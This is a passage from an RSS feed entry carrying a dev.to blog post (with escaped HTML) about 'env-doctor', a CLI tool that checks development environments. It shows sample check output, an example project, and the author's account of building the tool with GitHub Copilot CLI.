❌ JWT_SECRET environment variable not &lt;span class="nb"&gt;set&lt;/span&gt;
✅ &lt;span class="nv"&gt;NODE_ENV&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;development

📊 Results: 4/8 checks passed &lt;span class="o"&gt;(&lt;/span&gt;4 failed&lt;span class="o"&gt;)&lt;/span&gt;
❌ Environment needs attention

 Next steps:
1. Update Python to &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;3.9.0
2. Install and start redis
3. Set DATABASE_URL environment variable
4. Set JWT_SECRET environment variable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgv6p2j48i0enm5w5izba.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgv6p2j48i0enm5w5izba.png" alt="Runtime and services" width="700" height="552"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The example project I included shows off the tool's capabilities with a realistic full-stack application. It has Node.js, Python, and Go services, multiple databases, complex Docker setup, and tons of environment variables. When you run env-doctor on it, you get 13/59 checks passing, which perfectly demonstrates how the tool handles complex real-world projects.&lt;/p&gt;

&lt;p&gt;I also built a simple demo script that explains what each file type contributes to the analysis. You can clone the repo and run &lt;code&gt;cd example-project &amp;amp;&amp;amp; ./demo.sh&lt;/code&gt; to see everything in action.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Experience with GitHub Copilot CLI
&lt;/h2&gt;

&lt;p&gt;Using GitHub Copilot CLI completely changed how I approached this project. Instead of writing code bit by bit, I could focus on the bigger picture and let Copilot handle the implementation details.&lt;/p&gt;

&lt;p&gt;The most helpful part was how Copilot understood context across multiple files. When I described the file parsing requirements, it generated parsers for package.json, Dockerfile, docker-compose.yml, and CI configs all at once. Each parser was tailored to extract the right information - Node versions from package.json, base images from Dockerfiles, services from docker-compose files.&lt;/p&gt;

&lt;p&gt;What impressed me was how it handled the environment checking logic. I explained that I needed to verify Node versions, check if Docker is running, test database connectivity, and validate environment variables. Copilot created a comprehensive checking system with proper error handling and meaningful status messages.&lt;/p&gt;

&lt;p&gt;The CLI also helped with the user experience aspects I hadn't initially planned. It suggested adding colored output with emoji indicators, a verbose mode for detailed explanations, JSON output for CI integration, and helpful suggestions for fixing issues. These weren't things I explicitly asked for, but Copilot recognized they would make the tool more useful.&lt;/p&gt;

&lt;p&gt;Testing was another area where Copilot excelled. It created unit tests for individual components and an integration test that builds a temporary project structure to verify everything works together. The test coverage caught several edge cases I would have missed.&lt;/p&gt;

&lt;p&gt;The most significant impact was being able to iterate quickly on complex features. When I wanted to add support for Python projects, Copilot immediately understood I needed requirements.txt and pyproject.toml parsers, Python version checking, and pip availability tests. What would have taken me hours of research and implementation happened in minutes.&lt;/p&gt;

&lt;p&gt;Copilot also helped with the example project creation. I described wanting a comprehensive test case, and it built a realistic social media application with multiple languages, databases, microservices, and CI/CD pipelines. This wasn't just a toy example - it's the kind of complex project where env-doctor actually provides value.&lt;/p&gt;

&lt;p&gt;The experience showed me how AI tools can handle the mechanical aspects of programming while leaving the creative and strategic decisions to the human developer. I focused on the problem design and user experience while Copilot handled the implementation patterns, error cases, and integration detail&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>cli</category>
      <category>githubcopilot</category>
    </item>
  </channel>
</rss>
